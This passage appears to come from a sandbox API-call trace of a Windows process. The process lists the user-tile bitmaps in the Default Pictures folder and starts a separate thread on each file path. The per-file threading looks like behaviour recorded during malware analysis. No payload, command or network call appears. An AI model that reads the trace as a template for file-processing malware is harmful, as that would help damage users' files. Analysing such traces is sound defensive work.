(_String1="usertile22.bmp", _String2=".") returned 1 [0052.009] wcscmp (_String1="usertile22.bmp", _String2="..") returned 1 [0052.009] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43eb90 [0052.009] wcscpy (in: _Dest=0x43eb90, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.009] wcscat (in: _Dest=0x43eb90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.009] wcscat (in: _Dest=0x43eb90, _Source="usertile22.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" [0052.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43eb90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1050 [0052.010] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3cc216, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3cc216, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd0b61fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile23.bmp", cAlternateFileName="")) returned 1 [0052.010] wcscmp (_String1="usertile23.bmp", _String2=".") returned 1 [0052.010] wcscmp (_String1="usertile23.bmp", _String2="..") returned 1 [0052.010] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43ec38 [0052.010] wcscpy (in: _Dest=0x43ec38, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.011] wcscat (in: _Dest=0x43ec38, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.011] wcscat (in: _Dest=0x43ec38, _Source="usertile23.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" [0052.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43ec38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1054 [0052.012] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd232fa7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile24.bmp", cAlternateFileName="")) returned 1 [0052.012] wcscmp (_String1="usertile24.bmp", _String2=".") returned 1 [0052.012] wcscmp (_String1="usertile24.bmp", _String2="..") returned 1 [0052.012] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43ece0 [0052.012] wcscpy (in: _Dest=0x43ece0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.012] wcscat (in: _Dest=0x43ece0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.012] wcscat (in: _Dest=0x43ece0, _Source="usertile24.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" [0052.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43ece0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1058 [0052.013] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd259105, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile25.bmp", cAlternateFileName="")) returned 1 [0052.013] wcscmp (_String1="usertile25.bmp", _String2=".") returned 1 [0052.013] wcscmp (_String1="usertile25.bmp", _String2="..") returned 1 [0052.013] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43ed88 [0052.013] wcscpy (in: _Dest=0x43ed88, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.013] wcscat (in: _Dest=0x43ed88, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.013] wcscat (in: _Dest=0x43ed88, _Source="usertile25.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" [0052.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43ed88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x105c [0052.015] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd27f263, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile26.bmp", cAlternateFileName="")) returned 1 [0052.015] wcscmp (_String1="usertile26.bmp", _String2=".") returned 1 [0052.015] wcscmp (_String1="usertile26.bmp", _String2="..") returned 1 [0052.015] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43ee30 [0052.015] wcscpy (in: _Dest=0x43ee30, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.015] wcscat (in: _Dest=0x43ee30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.015] wcscat (in: _Dest=0x43ee30, _Source="usertile26.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" [0052.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43ee30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1060 [0052.016] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4184d0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4184d0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd2a53c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile27.bmp", cAlternateFileName="")) returned 1 [0052.017] wcscmp (_String1="usertile27.bmp", _String2=".") returned 1 [0052.017] wcscmp (_String1="usertile27.bmp", _String2="..") returned 1 [0052.017] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43eed8 [0052.017] wcscpy (in: _Dest=0x43eed8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.017] wcscat (in: _Dest=0x43eed8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.017] wcscat (in: _Dest=0x43eed8, _Source="usertile27.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" [0052.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43eed8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1064 [0052.018] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3177db, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile28.bmp", cAlternateFileName="")) returned 1 [0052.018] wcscmp (_String1="usertile28.bmp", _String2=".") returned 1 [0052.018] wcscmp (_String1="usertile28.bmp", _String2="..") returned 1 [0052.018] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43ef80 [0052.018] wcscpy (in: _Dest=0x43ef80, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.018] wcscat (in: _Dest=0x43ef80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.018] wcscat (in: _Dest=0x43ef80, _Source="usertile28.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" [0052.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43ef80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1068 [0052.019] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd33d939, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile29.bmp", cAlternateFileName="")) returned 1 [0052.019] wcscmp (_String1="usertile29.bmp", _String2=".") returned 1 [0052.019] wcscmp (_String1="usertile29.bmp", _String2="..") returned 1 [0052.019] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43f028 [0052.019] wcscpy (in: _Dest=0x43f028, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.019] wcscat (in: _Dest=0x43f028, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.019] wcscat (in: _Dest=0x43f028, _Source="usertile29.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" [0052.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x106c [0052.021] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae46478a, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae46478a, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile30.bmp", cAlternateFileName="")) returned 1 [0052.021] wcscmp (_String1="usertile30.bmp", _String2=".") returned 1 [0052.021] wcscmp (_String1="usertile30.bmp", _String2="..") returned 1 [0052.021] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43f0d0 [0052.021] wcscpy (in: _Dest=0x43f0d0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.021] wcscat (in: _Dest=0x43f0d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.021] wcscat (in: _Dest=0x43f0d0, _Source="usertile30.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" [0052.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1070 [0052.022] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile31.bmp", cAlternateFileName="")) returned 1 [0052.022] wcscmp (_String1="usertile31.bmp", _String2=".") returned 1 [0052.022] wcscmp (_String1="usertile31.bmp", _String2="..") returned 1 [0052.022] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43f178 [0052.022] wcscpy (in: _Dest=0x43f178, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.022] wcscat (in: _Dest=0x43f178, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.022] wcscat (in: _Dest=0x43f178, _Source="usertile31.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" [0052.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1074 [0052.024] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd42216d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile32.bmp", cAlternateFileName="")) returned 1 [0052.024] wcscmp (_String1="usertile32.bmp", _String2=".") returned 1 [0052.024] wcscmp (_String1="usertile32.bmp", _String2="..") returned 1 [0052.024] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43f220 [0052.024] wcscpy (in: _Dest=0x43f220, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.024] wcscat (in: _Dest=0x43f220, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.024] wcscat (in: _Dest=0x43f220, _Source="usertile32.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" [0052.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1078 [0052.471] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4b0a44, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4b0a44, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd4482cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile33.bmp", cAlternateFileName="")) returned 1 [0052.471] wcscmp (_String1="usertile33.bmp", _String2=".") returned 1 [0052.471] wcscmp (_String1="usertile33.bmp", _String2="..") returned 1 [0052.471] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43f2c8 [0052.471] wcscpy (in: _Dest=0x43f2c8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0052.471] wcscat (in: _Dest=0x43f2c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0052.471] wcscat (in: _Dest=0x43f2c8, _Source="usertile33.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" [0065.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f2c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1268 [0065.818] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9c9561, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile34.bmp", cAlternateFileName="")) returned 1 [0065.818] wcscmp (_String1="usertile34.bmp", _String2=".") returned 1 [0065.818] wcscmp (_String1="usertile34.bmp", _String2="..") returned 1 [0065.818] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43d9d8 [0065.818] wcscpy (in: _Dest=0x43d9d8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0065.818] wcscat (in: _Dest=0x43d9d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0065.818] wcscat (in: _Dest=0x43d9d8, _Source="usertile34.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" [0065.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43d9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1664 [0065.819] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile35.bmp", cAlternateFileName="")) returned 1 [0065.819] wcscmp (_String1="usertile35.bmp", _String2=".") returned 1 [0065.819] wcscmp (_String1="usertile35.bmp", _String2="..") returned 1 [0065.819] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e6f8 [0065.819] wcscpy (in: _Dest=0x43e6f8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0065.819] wcscat (in: _Dest=0x43e6f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0065.819] wcscat (in: _Dest=0x43e6f8, _Source="usertile35.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp" [0065.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e6f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1668 [0065.821] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae548fb8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae548fb8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile36.bmp", cAlternateFileName="")) returned 1 [0065.821] wcscmp (_String1="usertile36.bmp", _String2=".") returned 1 [0065.821] wcscmp (_String1="usertile36.bmp", _String2="..") returned 1 [0065.821] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43e650 [0065.821] wcscpy (in: _Dest=0x43e650, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0065.821] wcscat (in: _Dest=0x43e650, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0065.821] wcscat (in: _Dest=0x43e650, _Source="usertile36.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" [0065.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43e650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x166c [0065.822] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae595272, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae595272, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile37.bmp", cAlternateFileName="")) returned 1 [0065.822] wcscmp (_String1="usertile37.bmp", _String2=".") returned 1 [0065.822] wcscmp (_String1="usertile37.bmp", _String2="..") returned 1 [0065.822] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43f220 [0065.822] wcscpy (in: _Dest=0x43f220, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0065.822] wcscat (in: _Dest=0x43f220, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0065.822] wcscat (in: _Dest=0x43f220, _Source="usertile37.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" [0065.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43f220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1670 [0065.824] FindNextFileW (in: hFindFile=0x4402a0, lpFindFileData=0x485248 | out: lpFindFileData=0x485248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5bb3cf, ftCreationTime.dwHighDateTime=0x1ca040d, 